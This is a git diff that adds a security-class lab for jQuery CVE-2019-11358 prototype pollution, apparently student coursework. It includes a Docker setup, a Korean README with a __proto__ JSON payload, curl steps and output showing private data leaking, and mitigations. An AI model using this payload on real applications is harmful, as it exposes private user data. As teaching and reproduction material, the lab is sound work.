diff --git a/README.md b/README.md
index 66be761c2..1582b667e 100644
--- a/README.md
+++ b/README.md
@@ -52,6 +52,10 @@
- [CVE-2024-43441](./HugeGraph/CVE-2024-43441/README.md) — JWT 비밀 키 하드코딩으로 인한 인증 우회
- Contributor: [@HanTul](https://github.com/HanTul) | Risk Score: 9.8 (Reproducibility: 85%)
+- **jQuery** — JavaScript DOM 조작 라이브러리
+ - [CVE-2019-11358](./jQuery/CVE-2019-11358/README.md) — `jQuery.extend()` Prototype Pollution
+ - Contributor: [@doo513](https://github.com/doo513) | Risk Score: 6.1 (Reproducibility: 95%)
+
- **Librsvg** — GNOME SVG 렌더링 라이브러리
- [CVE-2023-38633](./Librsvg/CVE-2023-38633/README.md) — librsvg xi:include 디렉터리 탐색 파일 읽기
- Contributor: [@EL55](https://github.com/EL55) | Risk Score: 7.5 (Reproducibility: 80%)
diff --git a/jQuery/CVE-2019-11358/.dockerignore b/jQuery/CVE-2019-11358/.dockerignore
new file mode 100644
index 000000000..81127967d
--- /dev/null
+++ b/jQuery/CVE-2019-11358/.dockerignore
@@ -0,0 +1,4 @@
+node_modules
+npm-debug.log
+.git
+.DS_Store
diff --git a/jQuery/CVE-2019-11358/.gitignore b/jQuery/CVE-2019-11358/.gitignore
new file mode 100644
index 000000000..b1a4fa86a
--- /dev/null
+++ b/jQuery/CVE-2019-11358/.gitignore
@@ -0,0 +1,3 @@
+node_modules/
+npm-debug.log*
+.DS_Store
diff --git a/jQuery/CVE-2019-11358/Dockerfile b/jQuery/CVE-2019-11358/Dockerfile
new file mode 100644
index 000000000..ba425d4f8
--- /dev/null
+++ b/jQuery/CVE-2019-11358/Dockerfile
@@ -0,0 +1,34 @@
+FROM node:20.19.5-alpine3.22
+
+ARG JQUERY_VERSION=3.3.1
+
+WORKDIR /app
+
+COPY package.json package-lock.json ./
+RUN npm ci --omit=dev --ignore-scripts --no-audit --no-fund \
+ && npm cache clean --force
+
+COPY server.mjs ./server.mjs
+COPY public ./public
+COPY vendor ./vendor
+
+RUN set -eu; \
+ case "$JQUERY_VERSION" in \
+ 3.3.1) expected="160a426ff2894252cd7cebbdd6d6b7da8fcd319c65b70468f10b6690c45d02ef" ;; \
+ 3.4.0) expected="0497a8d2a9bde7db8c0466fae73e347a3258192811ed1108e3e096d5f34ac0e8" ;; \
+ *) echo "지원 버전은 3.3.1 또는 3.4.0입니다." >&2; exit 1 ;; \
+ esac; \
+ mkdir -p runtime; \
+ cp "vendor/jquery-${JQUERY_VERSION}.min.js" runtime/jquery.js; \
+ actual="$(sha256sum runtime/jquery.js | awk '{print $1}')"; \
+ test "$actual" = "$expected"; \
+ printf '%s\n' "$JQUERY_VERSION" > runtime/jquery.version; \
+ chown -R node:node /app
+
+ENV NODE_ENV=production
+
+USER node
+
+EXPOSE 3000
+
+CMD ["node", "server.mjs"]
diff --git a/jQuery/CVE-2019-11358/README.md b/jQuery/CVE-2019-11358/README.md
new file mode 100644
index 000000000..b6dcd7414
--- /dev/null
+++ b/jQuery/CVE-2019-11358/README.md
@@ -0,0 +1,273 @@
+# CVE-2019-11358 | jQuery Prototype Pollution
+
+> 화이트햇 스쿨 과제 — [최한두 (@doo513)](https://github.com/doo513)
+
+
+
+### 취약점 요약
+
+CVE-2019-11358은 jQuery 3.4.0 미만 버전의 깊은 병합 함수 `jQuery.extend(true, ...)`에서 발생하는 Prototype Pollution 취약점입니다. 공격자가 제어하는 객체에 enumerable `__proto__` 속성이 포함되면 병합 과정에서 `Object.prototype`이 오염될 수 있으며, 이후 생성되는 일반 객체가 공격자가 삽입한 속성을 상속할 수 있습니다.
+
+본 환경은 실제 jQuery 3.3.1 파일을 컨테이너 내부에서 `jsdom`으로 로드하고, 프로필 저장 서비스의 내보내기 과정에서 실제 `$.extend(true, ...)`를 실행합니다.
+
+```text
+악성 프로필 JSON 저장
+→ jQuery 3.3.1의 $.extend(true, ...) 실행
+→ Object.prototype.includePrivate 오염
+→ 별도의 exportPolicy 객체가 includePrivate=true를 상속
+→ 공개 프로필 응답에 비공개 정보 포함
+```
+
+| 항목 | 값 |
+|---|---|
+| 취약 버전 | jQuery 3.3.1 |
+| 패치 비교 버전 | jQuery 3.4.0 |
+| 취약점 유형 | Prototype Pollution |
+| CVSS v3.1 | 6.1 Medium |
+| CVSS Vector | `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |
+
+
+
+### 취약 조건
+
+다음 조건이 함께 충족되어야 합니다.
+
+1. jQuery 3.4.0 미만 버전을 사용합니다.
+2. `$.extend(true, ...)` 형태의 깊은 병합을 수행합니다.
+3. 공격자가 병합되는 객체의 내용을 제어할 수 있습니다.
+4. 입력 객체에 enumerable own property인 `__proto__`가 포함됩니다.
+5. 병합 전에 `__proto__`, `constructor`, `prototype` 등의 위험 키를 제거하지 않습니다.
+6. 오염된 프로토타입의 상속값이 권한, 정책 또는 출력 여부를 결정하는 코드에 사용됩니다.
+
+본 환경에서 취약한 병합 지점은 다음과 같습니다.
+
+```js
+const mergedProfile = $.extend(
+ true,
+ {},
+ DEFAULT_PROFILE,
+ sourceProfile
+);
+```
+
+병합과 별도로 생성되는 정책 객체가 오염된 값을 상속하면서 실제 영향이 발생합니다.
+
+```js
+const exportPolicy = {};
+
+if (exportPolicy.includePrivate === true) {
+ output.private = { ...PRIVATE_PROFILE };
+}
+```
+
+
+
+### 환경 구성
+
+```text
+CVE-2019-11358/
+├── Dockerfile
+├── compose.yaml
+├── server.mjs
+├── package.json
+├── package-lock.json
+├── poc.json
+├── poc.sh
+├── public/
+│ ├── index.html
+│ └── app.js
+├── vendor/
+│ ├── jquery-3.3.1.min.js
+│ ├── jquery-3.4.0.min.js
+│ └── LICENSE-jquery.txt
+└── images/
+ ├── 01-poc-request.png
+ └── 02-pollution-result.png
+```
+
+Dockerfile은 취약 jQuery 파일을 외부 취약 이미지에서 가져오지 않고 저장소의 `vendor/` 디렉터리에서 복사합니다. 빌드 중 SHA-256 값을 확인하여 선택된 jQuery 파일이 변경되지 않았는지 검증합니다.
+
+서비스는 호스트의 `127.0.0.1:3000`에만 바인딩됩니다.
+
+
+
+### 환경 실행
+
+프로젝트 디렉터리에서 다음 명령을 실행합니다.
+
+```sh
+docker compose up --build -d
+```
+
+컨테이너 상태와 로그를 확인합니다.
+
+```sh
+docker compose ps
+docker compose logs
+```
+
+브라우저 접속 주소:
+
+```text
+http://127.0.0.1:3000
+```
+
+환경 종료:
+
+```sh
+docker compose down --remove-orphans
+```
+
+
+
+### 재현 절차 및 PoC 코드
+
+#### 1. 실습 상태 초기화
+
+```sh
+curl -sS -X POST http://127.0.0.1:3000/api/reset
+```
+
+#### 2. `__proto__`가 포함된 프로필 저장
+
+```sh
+curl -sS -X POST http://127.0.0.1:3000/api/profile \
+ -H 'Content-Type: application/json' \
+ --data-binary @poc.json
+```
+
+`poc.json`의 내용은 다음과 같습니다.
+
+```json
+{
+ "name": "guest",
+ "bio": "public profile",
+ "__proto__": {
+ "includePrivate": true,
+ "polluted": "CVE-2019-11358"
+ }
+}
+```
+
+응답의 `sourceHasOwnProto: true`는 `JSON.parse()`로 생성된 입력 객체가 `__proto__`를 own property로 가지고 있음을 뜻합니다.
+
+
+
+#### 3. 취약한 깊은 병합 실행
+
+```sh
+curl -sS http://127.0.0.1:3000/api/profile/export
+```
+
+전체 PoC는 다음 명령으로도 실행할 수 있습니다.
+
+```sh
+chmod +x poc.sh
+./poc.sh
+```
+
+
+
+### 실행 결과
+
+jQuery 3.3.1 환경에서는 다음과 같은 결과가 반환됩니다.
+
+```json
+{
+ "result": "VULNERABLE",
+ "jqueryVersion": "3.3.1",
+ "privateDataExposed": true,
+ "exportedProfile": {
+ "name": "guest",
+ "bio": "public profile",
+ "private": {
+ "email": "guest@example.local",
+ "reviewNote": "internal-only: 신규 계정 검토 필요"
+ }
+ },
+ "evidence": {
+ "sourceHasOwnProto": true,
+ "before": {
+ "objectPrototypeIncludePrivate": null
+ },
+ "after": {
+ "objectPrototypeIncludePrivate": true,
+ "objectPrototypePolluted": "CVE-2019-11358",
+ "exportPolicyHasOwnIncludePrivate": false,
+ "exportPolicyInheritedIncludePrivate": true
+ }
+ }
+}
+```
+
+
+
+핵심 성공 기준은 다음과 같습니다.
+
+```text
+result = "VULNERABLE"
+Object.prototype.includePrivate = true
+Object.prototype.polluted = "CVE-2019-11358"
+exportPolicyHasOwnIncludePrivate = false
+exportPolicyInheritedIncludePrivate = true
+privateDataExposed = true
+```
+
+`exportPolicy` 객체에는 `includePrivate` own property가 없습니다. 그런데도 해당 값이 `true`로 평가된 것은 오염된 `Object.prototype`에서 값을 상속했기 때문입니다. 따라서 결과는 단순한 입력값 반영이 아니라 Prototype Pollution으로 별도의 정책 객체 동작이 변경된 사례입니다.
+
+
+
+### 패치 버전 비교
+
+기존 환경을 종료한 뒤 jQuery 3.4.0으로 다시 빌드합니다.
+
+```sh
+docker compose down --remove-orphans
+JQUERY_VERSION=3.4.0 docker compose up --build -d
+./poc.sh
+```
+
+패치 버전에서는 동일 입력을 사용해도 `Object.prototype`이 오염되지 않으며 결과는 `NOT_VULNERABLE`이 됩니다.
+
+```text
+Object.prototype.includePrivate = undefined
+exportPolicyHasOwnIncludePrivate = false
+exportPolicyInheritedIncludePrivate = undefined
+privateDataExposed = false
+```
+
+비교 후 종료합니다.
+
+```sh
+JQUERY_VERSION=3.4.0 docker compose down --remove-orphans
+```
+
+
+
+### 대응 방안
+
+1. jQuery를 3.4.0 이상으로 업그레이드합니다.
+2. 외부 JSON을 재귀적으로 병합하기 전에 `__proto__`, `constructor`, `prototype` 키를 거부합니다.
+3. 사용자 입력은 허용 목록 기반으로 필요한 필드만 추출합니다.
+4. 보안 정책 객체에서 프로토타입 상속값을 신뢰하지 않고 own property를 명시적으로 검사합니다.
+5. 데이터 객체와 권한·정책 객체를 동일한 병합 흐름에 포함하지 않습니다.
+6. 필요한 경우 정책 맵은 `Object.create(null)`로 생성하여 일반 프로토타입 체인을 제거합니다.
+
+
+
+### 평가
+
+- **Risk Score: 6.1 / 10.0**
+ NVD CVSS v3.1 점수를 기준으로 하며, 네트워크를 통한 입력이 가능하고 기밀성 및 무결성에 제한적인 영향을 줄 수 있습니다.
+
+- **Reproducibility: 95%**
+ Docker Compose 한 번으로 환경을 구성하고, 저장소에 포함된 `poc.json`과 `poc.sh`를 그대로 실행하여 취약 버전과 패치 버전을 비교할 수 있도록 구성했습니다.
+
+
+
+### 참고 자료
+
+- [NVD — CVE-2019-11358](https://nvd.nist.gov/vuln/detail/CVE-2019-11358)
+- [jQuery 3.4.0 Released](https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/)
+- [jQuery Fix Commit](https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b)
+- [jQuery.extend() API](https://api.jquery.com/jquery.extend/)
diff --git a/jQuery/CVE-2019-11358/compose.yaml b/jQuery/CVE-2019-11358/compose.yaml
new file mode 100644
index 000000000..76a0fa8a4
--- /dev/null
+++ b/jQuery/CVE-2019-11358/compose.yaml
@@ -0,0 +1,28 @@
+services:
+ app:
+ build:
+ context: .
+ dockerfile: Dockerfile
+ args:
+ JQUERY_VERSION: ${JQUERY_VERSION:-3.3.1}
+ image: kr-vulhub-cve-2019-11358:${JQUERY_VERSION:-3.3.1}
+ init: true
+ read_only: true
+ security_opt:
+ - no-new-privileges:true
+ cap_drop:
+ - ALL
+ ports:
+ - "127.0.0.1:3000:3000"
+ healthcheck:
+ test:
+ - CMD
+ - node
+ - -e
+ - >-
+ fetch('http://127.0.0.1:3000/healthz')
+ .then(r => { if (!r.ok) process.exit(1); })
+ .catch(() => process.exit(1));
+ interval: 5s
+ timeout: 3s
+ retries: 10
diff --git a/jQuery/CVE-2019-11358/images/01-poc-request.png b/jQuery/CVE-2019-11358/images/01-poc-request.png
new file mode 100644
index 000000000..a0c53d3dd
Binary files /dev/null and b/jQuery/CVE-2019-11358/images/01-poc-request.png differ
diff --git a/jQuery/CVE-2019-11358/images/02-pollution-result.png b/jQuery/CVE-2019-11358/images/02-pollution-result.png
new file mode 100644
index 000000000..efdc26e62
Binary files /dev/null and b/jQuery/CVE-2019-11358/images/02-pollution-result.png differ
diff --git a/jQuery/CVE-2019-11358/package-lock.json b/jQuery/CVE-2019-11358/package-lock.json
new file mode 100644
index 000000000..4e0b314a4
--- /dev/null
+++ b/jQuery/CVE-2019-11358/package-lock.json
@@ -0,0 +1,505 @@
+{
+ "name": "kr-vulhub-cve-2019-11358",
+ "version": "1.0.0",
+ "lockfileVersion": 3,
+ "requires": true,
+ "packages": {
+ "": {
+ "name": "kr-vulhub-cve-2019-11358",
+ "version": "1.0.0",
+ "dependencies": {
+ "jsdom": "26.1.0"
+ },
+ "engines": {
+ "node": ">=20"
+ },
+ "description": "Docker lab for jQuery CVE-2019-11358 prototype pollution"
+ },
+ "node_modules/@asamuzakjp/css-color": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz",
+ "integrity": "sha512-K1A6z8tS3XsmCMM86xoWdn7Fkdn9m6RSVtocUrJYIwZnFVkng/PvkEoWtOWmP+Scc6saYWHWZYbndEEXxl24jw==",
+ "license": "MIT",
+ "dependencies": {
+ "@csstools/css-calc": "^2.1.3",
+ "@csstools/css-color-parser": "^3.0.9",
+ "@csstools/css-parser-algorithms": "^3.0.4",
+ "@csstools/css-tokenizer": "^3.0.3",
+ "lru-cache": "^10.4.3"
+ }
+ },
+ "node_modules/@csstools/color-helpers": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.1.0.tgz",
+ "integrity": "sha512-S11EXWJyy0Mz5SYvRmY8nJYTFFd1LCNV+7cXyAgQtOOuzb4EsgfqDufL+9esx72/eLhsRdGZwaldu/h+E4t4BA==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@csstools/css-calc": {
+ "version": "2.1.4",
+ "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz",
+ "integrity": "sha512-3N8oaj+0juUw/1H3YwmDDJXCgTB1gKU6Hc/bB502u9zR0q2vd786XJH9QfrKIEgFlZmhZiq6epXl4rHqhzsIgQ==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@csstools/css-parser-algorithms": "^3.0.5",
+ "@csstools/css-tokenizer": "^3.0.4"
+ }
+ },
+ "node_modules/@csstools/css-color-parser": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.1.0.tgz",
+ "integrity": "sha512-nbtKwh3a6xNVIp/VRuXV64yTKnb1IjTAEEh3irzS+HkKjAOYLTGNb9pmVNntZ8iVBHcWDA2Dof0QtPgFI1BaTA==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "@csstools/color-helpers": "^5.1.0",
+ "@csstools/css-calc": "^2.1.4"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@csstools/css-parser-algorithms": "^3.0.5",
+ "@csstools/css-tokenizer": "^3.0.4"
+ }
+ },
+ "node_modules/@csstools/css-parser-algorithms": {
+ "version": "3.0.5",
+ "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz",
+ "integrity": "sha512-DaDeUkXZKjdGhgYaHNJTV9pV7Y9B3b644jCLs9Upc3VeNGg6LWARAT6O+Q+/COo+2gg/bM5rhpMAtf70WqfBdQ==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@csstools/css-tokenizer": "^3.0.4"
+ }
+ },
+ "node_modules/@csstools/css-tokenizer": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz",
+ "integrity": "sha512-Vd/9EVDiu6PPJt9yAh6roZP6El1xHrdvIVGjyBsHR0RYwNHgL7FJPyIIW4fANJNG6FtyZfvlRPpFI4ZM/lubvw==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/agent-base": {
+ "version": "7.1.4",
+ "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz",
+ "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 14"
+ }
+ },
+ "node_modules/cssstyle": {
+ "version": "4.6.0",
+ "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz",
+ "integrity": "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg==",
+ "license": "MIT",
+ "dependencies": {
+ "@asamuzakjp/css-color": "^3.2.0",
+ "rrweb-cssom": "^0.8.0"
+ },
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/data-urls": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz",
+ "integrity": "sha512-ZYP5VBHshaDAiVZxjbRVcFJpc+4xGgT0bK3vzy1HLN8jTO975HEbuYzZJcHoQEY5K1a0z8YayJkyVETa08eNTg==",
+ "license": "MIT",
+ "dependencies": {
+ "whatwg-mimetype": "^4.0.0",
+ "whatwg-url": "^14.0.0"
+ },
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/debug": {
+ "version": "4.4.3",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+ "license": "MIT",
+ "dependencies": {
+ "ms": "^2.1.3"
+ },
+ "engines": {
+ "node": ">=6.0"
+ },
+ "peerDependenciesMeta": {
+ "supports-color": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/decimal.js": {
+ "version": "10.6.0",
+ "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz",
+ "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg=="
+ },
+ "node_modules/entities": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz",
+ "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==",
+ "license": "BSD-2-Clause",
+ "engines": {
+ "node": ">=0.12"
+ },
+ "funding": {
+ "url": "https://github.com/fb55/entities?sponsor=1"
+ }
+ },
+ "node_modules/html-encoding-sniffer": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz",
+ "integrity": "sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==",
+ "license": "MIT",
+ "dependencies": {
+ "whatwg-encoding": "^3.1.1"
+ },
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/http-proxy-agent": {
+ "version": "7.0.2",
+ "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz",
+ "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==",
+ "license": "MIT",
+ "dependencies": {
+ "agent-base": "^7.1.0",
+ "debug": "^4.3.4"
+ },
+ "engines": {
+ "node": ">= 14"
+ }
+ },
+ "node_modules/https-proxy-agent": {
+ "version": "7.0.6",
+ "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz",
+ "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==",
+ "dependencies": {
+ "agent-base": "^7.1.2",
+ "debug": "4"
+ },
+ "engines": {
+ "node": ">= 14"
+ }
+ },
+ "node_modules/iconv-lite": {
+ "version": "0.6.3",
+ "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
+ "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
+ "license": "MIT",
+ "dependencies": {
+ "safer-buffer": ">= 2.1.2 < 3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-potential-custom-element-name": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
+ "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ=="
+ },
+ "node_modules/jsdom": {
+ "version": "26.1.0",
+ "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-26.1.0.tgz",
+ "integrity": "sha512-Cvc9WUhxSMEo4McES3P7oK3QaXldCfNWp7pl2NNeiIFlCoLr3kfq9kb1fxftiwk1FLV7CvpvDfonxtzUDeSOPg==",
+ "license": "MIT",
+ "dependencies": {
+ "cssstyle": "^4.2.1",
+ "data-urls": "^5.0.0",
+ "decimal.js": "^10.5.0",
+ "html-encoding-sniffer": "^4.0.0",
+ "http-proxy-agent": "^7.0.2",
+ "https-proxy-agent": "^7.0.6",
+ "is-potential-custom-element-name": "^1.0.1",
+ "nwsapi": "^2.2.16",
+ "parse5": "^7.2.1",
+ "rrweb-cssom": "^0.8.0",
+ "saxes": "^6.0.0",
+ "symbol-tree": "^3.2.4",
+ "tough-cookie": "^5.1.1",
+ "w3c-xmlserializer": "^5.0.0",
+ "webidl-conversions": "^7.0.0",
+ "whatwg-encoding": "^3.1.1",
+ "whatwg-mimetype": "^4.0.0",
+ "whatwg-url": "^14.1.1",
+ "ws": "^8.18.0",
+ "xml-name-validator": "^5.0.0"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "canvas": "^3.0.0"
+ },
+ "peerDependenciesMeta": {
+ "canvas": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/lru-cache": {
+ "version": "10.4.3",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz",
+ "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==",
+ "license": "ISC"
+ },
+ "node_modules/ms": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+ "license": "MIT"
+ },
+ "node_modules/nwsapi": {
+ "version": "2.2.24",
+ "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.24.tgz",
+ "integrity": "sha512-7YRhZ3jS45LwmSCT4b2sVFHt/WuovaktDU07QrtOBY2PXskss5a9jfmR9jptyumwXST+rFjrmppMY1KT/yn35A==",
+ "license": "MIT"
+ },
+ "node_modules/parse5": {
+ "version": "7.3.0",
+ "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz",
+ "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==",
+ "license": "MIT",
+ "dependencies": {
+ "entities": "^6.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/inikulin/parse5?sponsor=1"
+ }
+ },
+ "node_modules/punycode": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
+ "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/rrweb-cssom": {
+ "version": "0.8.0",
+ "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz",
+ "integrity": "sha512-guoltQEx+9aMf2gDZ0s62EcV8lsXR+0w8915TC3ITdn2YueuNjdAYh/levpU9nFaoChh9RUS5ZdQMrKfVEN9tw==",
+ "license": "MIT"
+ },
+ "node_modules/safer-buffer": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
+ "license": "MIT"
+ },
+ "node_modules/saxes": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz",
+ "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==",
+ "license": "ISC",
+ "dependencies": {
+ "xmlchars": "^2.2.0"
+ },
+ "engines": {
+ "node": ">=v12.22.7"
+ }
+ },
+ "node_modules/symbol-tree": {
+ "version": "3.2.4",
+ "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
+ "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==",
+ "license": "MIT"
+ },
+ "node_modules/tldts": {
+ "version": "6.1.86",
+ "resolved": "https://registry.npmjs.org/tldts/-/tldts-6.1.86.tgz",
+ "integrity": "sha512-WMi/OQ2axVTf/ykqCQgXiIct+mSQDFdH2fkwhPwgEwvJ1kSzZRiinb0zF2Xb8u4+OqPChmyI6MEu4EezNJz+FQ==",
+ "license": "MIT",
+ "dependencies": {
+ "tldts-core": "^6.1.86"
+ },
+ "bin": {
+ "tldts": "bin/cli.js"
+ }
+ },
+ "node_modules/tldts-core": {
+ "version": "6.1.86",
+ "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-6.1.86.tgz",
+ "integrity": "sha512-Je6p7pkk+KMzMv2XXKmAE3McmolOQFdxkKw0R8EYNr7sELW46JqnNeTX8ybPiQgvg1ymCoF8LXs5fzFaZvJPTA==",
+ "license": "MIT"
+ },
+ "node_modules/tough-cookie": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-5.1.2.tgz",
+ "integrity": "sha512-FVDYdxtnj0G6Qm/DhNPSb8Ju59ULcup3tuJxkFb5K8Bv2pUXILbf0xZWU8PX8Ov19OXljbUyveOFwRMwkXzO+A==",
+ "dependencies": {
+ "tldts": "^6.1.32"
+ },
+ "engines": {
+ "node": ">=16"
+ }
+ },
+ "node_modules/tr46": {
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz",
+ "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==",
+ "license": "MIT",
+ "dependencies": {
+ "punycode": "^2.3.1"
+ },
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/w3c-xmlserializer": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz",
+ "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==",
+ "license": "MIT",
+ "dependencies": {
+ "xml-name-validator": "^5.0.0"
+ },
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/webidl-conversions": {
+ "version": "7.0.0",
